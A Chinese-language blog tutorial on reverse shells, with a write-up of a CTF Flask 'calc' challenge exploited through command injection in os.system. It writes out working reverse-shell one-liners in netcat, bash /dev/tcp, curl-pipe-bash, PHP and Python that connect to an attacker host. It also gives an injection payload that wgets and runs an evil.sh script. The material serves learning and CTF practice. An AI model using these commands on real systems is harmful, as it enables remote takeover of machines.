参考自

https://xz.aliyun.com/t/9488

https://m.freebuf.com/articles/web/247967.html

首先什么是shell

shell可以先粗略的理解为一种命令行终端,具体的细节我会在下一个博客中补充

关于反弹shell

在一些实际环境当中,Linux系统环境(沙盒环境)是非常常见的,让Linux反弹一个shell也是很常见的一种攻击方式

反弹shell的定义:攻击机监听在某个TCP/UDP端口为服务端,目标机主动发起请求到攻击机监听的端口,并将其命令行的输入输出转到攻击机(可以理解为你获得了目标机的一些控制权,控制了这个目标机的shell然后读取这个shell里面的一些文件,拿来吧你

即为客户端服务端两者之间的角色互换了

反弹shell是一种反向连接,那么先说一下正向连接是什么东西

关于正向连接

假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接远程桌面web服务sshtelnet等等都是正向连接。(即由攻击机目标机器主动发送请求)

(可以大致的理解为正向代理反向代理之间的关系)

关于反向连接

反弹shell会应用到一些比较特殊的情况当中

  • 目标机防火墙受限,目标机器只能发送请求,不能接收请求
  • 目标机端口被占用
  • 标机位于局域网,或IP会动态变化,攻击机无法直接连接
  • 对于病毒木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知的

反弹shell对于以上这几种情况都是很有用的,反弹shell有很多种方式,比如目标主机上如果安装有netcat,那我们就可以利用netcat反弹shell,如果具有python环境,那我们可以利用python反弹shell。如果具有php环境,那我们可以利用php反弹shell

这里就总结(参考)一下常见的反弹shell的方式吧

利用netcat反弹shell

攻击机开启本地监听

1
netcat -lvvp port

目标机主动连接攻击机

1
netcat 攻击机的ip 本地监听的port -e /bin/bash

这个-e /bin/bash解释一下:-e后面跟的参数代表的是在创建连接后执行的程序,这里代表在连接到远程后可以在远程执行一个本地shell(/bin/bash)(这个本地shell是目标机自己的shell)

实验效果如下

![D4_R_RPH_7Q4FO_F~ZXNN`2.png](https://s2.loli.net/2022/04/02/NLxUVoK3BtWz6kE.png)

利用bash反弹shell

这里拿一道2022的dasctf三月春季挑战赛calc这道题来复盘实验一下

题目的源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#coding=utf-8
from flask import Flask,render_template,url_for,render_template_string,redirect,request,current_app,session,abort,send_from_directory
import random
from urllib import parse
import os
from werkzeug.utils import secure_filename
import time


app=Flask(__name__)

def waf(s):
blacklist = ['import','(',')',' ','_','|',';','"','{','}','&','getattr','os','system','class','subclasses','mro','request','args','eval','if','subprocess','file','open','popen','builtins','compile','execfile','from_pyfile','config','local','self','item','getitem','getattribute','func_globals','__init__','join','__dict__']
flag = True
for no in blacklist:
if no.lower() in s.lower():
flag= False
print(no)
break
return flag


@app.route("/")
def index():
"欢迎来到SUctf2022"
return render_template("index.html")

@app.route("/calc",methods=['GET'])
def calc():
ip = request.remote_addr
num = request.values.get("num")
log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num)

if waf(num):
try:
data = eval(num)
os.system(log)
except:
pass
return str(data)
else:
return "waf!!"





if __name__ == "__main__":
app.run(host='0.0.0.0',port=5000)

这是一个用python写的后端,当时做这道题的时候根本不知道要干什么,比赛结束后和学长交流了一下

重点的部分在这里

1
2
3
4
5
6
7
8
9
10
11
log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num)

if waf(num):
try:
data = eval(num)
os.system(log)
except:
pass
return str(data)
else:
return "waf!!"

这个log语句的意思是输出一段内容到/tmp/log.txt当中,估计是会生成一个日志

这里的num是你可以控制的参数,而且num会在执行之前被waf当中的blacklist检查,这样的话,就得绕过检查了

不过这个blacklist的过滤比较严格,想利用eval函数的话恐怕不太可能

但是这下面还有一个os.system(log),我去了解了一下,这个os.system会在一个Linuxshell里面执行log的代码,看来是不完全属于python的一部分,这个地方是可以利用的

要怎么利用呢?这个时候可以使用bash来反弹shell

1
bash -i >& /dev/tcp/攻击者的ip/攻击者设置的监听端口(port) 0>&1

解读一下这个命令

  • bash -i :可以产生一个bash的交互环境
  • >&:将将联合符号前面的内容与后面相结合,然后一起重定向给后者
  • /dev/tcp/:攻击者的ip/攻击者设置的监听端口(port):让目标主机与攻击机47.xxx.xxx.722333端口建立一个tcp连接
  • 0>&1:将标准输入标准输出的内容相结合,然后重定向给前面标准输出的内容

这个0>&1是什么意思可以举一个例子

假如你在一个shell里面输入一句命令,这个命令就是标准输入,回显的内容就是标准输出,这里的话就是,输出回显的内容包含了你的输入命令而已

原本可以直接用上面这个命令打的,但是&被过滤了不能用……

还有一个地方就是

1
@app.route("/calc",methods=['GET'])

这里的payload构造得是/calc?num=xxx的形式

参考了一下Summ3r学长的思路(Summ3ryyds)

1
2
3
4
5
6
7
1+1#`wget\thttp://xxx.xxx.xxx.xxx:60056/evil.sh`

1+1#`bash\tevil.sh`

evil.sh当中的命令

bash -i >& /dev/tcp/ip/port 0>&1

wget可以在shell里面来远程下载一个文件

bash运行此.sh脚本

#python里面是注释符的意思,实际效果就是python执行了1+1这段命令,所以不会报错且不会触发黑名单,但是在shell里面就不一样了——反引号``当中的内容会被识别且优先执行其中的命令,所以命令就这样成功地执行了,而且空格也被过滤了,但是可以用\t(制表符)代替,注意要对#\t这两个符号urlencode一下,不然url里面输不进去的

注意一个问题,你监听的端口需要在安全组的规则当中添加这个端口,不然弹不了shell

还有一些细节……

先开启一个端口监听

Z9_BH_TNVK__Z_FSM6@_3SJ.png

但是在bash运行我的sh文件的时候并没有成功,后面发现一个nc在一次完整的请求处理过程当中(拥有客户端向服务端发送请求,服务端向客户端发送回应这两个过程)只能处理一个请求,不能同时被多个请求占用

上述的情况当中,并没有回应这一过程,就相当于这个过程是被“卡住的”,所以要手动结束这个过程

ctrl+c,然后再nc一次即可

还可以使用python开启一个静态资源的服务器,可以以此查看日志等信息,得知wget是否成功下载了我的.sh文件

image.png

Curl配合bash反弹shell

在攻击者vpsweb目录里面创建一个index文件(index.php或index.html),内容如下

1
bash -i >& /dev/tcp/ip/port 0>&1

开启端口监听

然后在目标机上执行以下命令

1
curl ip|bash

ip可以为任意格式(十进制、十六进制、八进制、二进制)

php脚本反弹shell

需要目标主机有php环境

攻击机开启本地监听

1
nc -lnvp port 

目标机主动连接攻击机

1
php -r '$sock=fsockopen("47.xxx.xxx.72",2333);exec("/bin/sh -i <&3 >&3 2>&3");'

python反弹shell

需要目标主机有python环境

1
nc -lnvp port 
1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.xxx.xxx.72",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

但是针对于这道题来说,blacklist的存在导致这2个方法都不能用了

之后还有其他的方法再总结吧,先总结到这里了……